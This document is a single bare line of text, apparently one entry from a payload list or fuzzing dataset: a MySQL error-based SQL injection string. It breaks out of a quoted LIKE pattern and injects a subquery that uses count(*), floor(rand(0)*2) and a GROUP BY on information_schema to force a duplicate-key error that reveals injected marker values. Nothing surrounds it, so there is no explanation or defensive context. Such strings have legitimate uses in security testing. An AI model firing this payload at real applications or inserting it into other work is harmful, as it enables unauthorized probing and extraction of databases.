1%"  )  )   or  ( select 9173 from ( select count ( * ) ,concat ( 0x7171706a71, ( select  ( elt ( 9173 = 9173,1  )  )   ) ,0x717a767a71,floor ( rand ( 0 ) *2  )  )  x from information_schema.character_sets group by x ) a )  and   (  (  "%" = "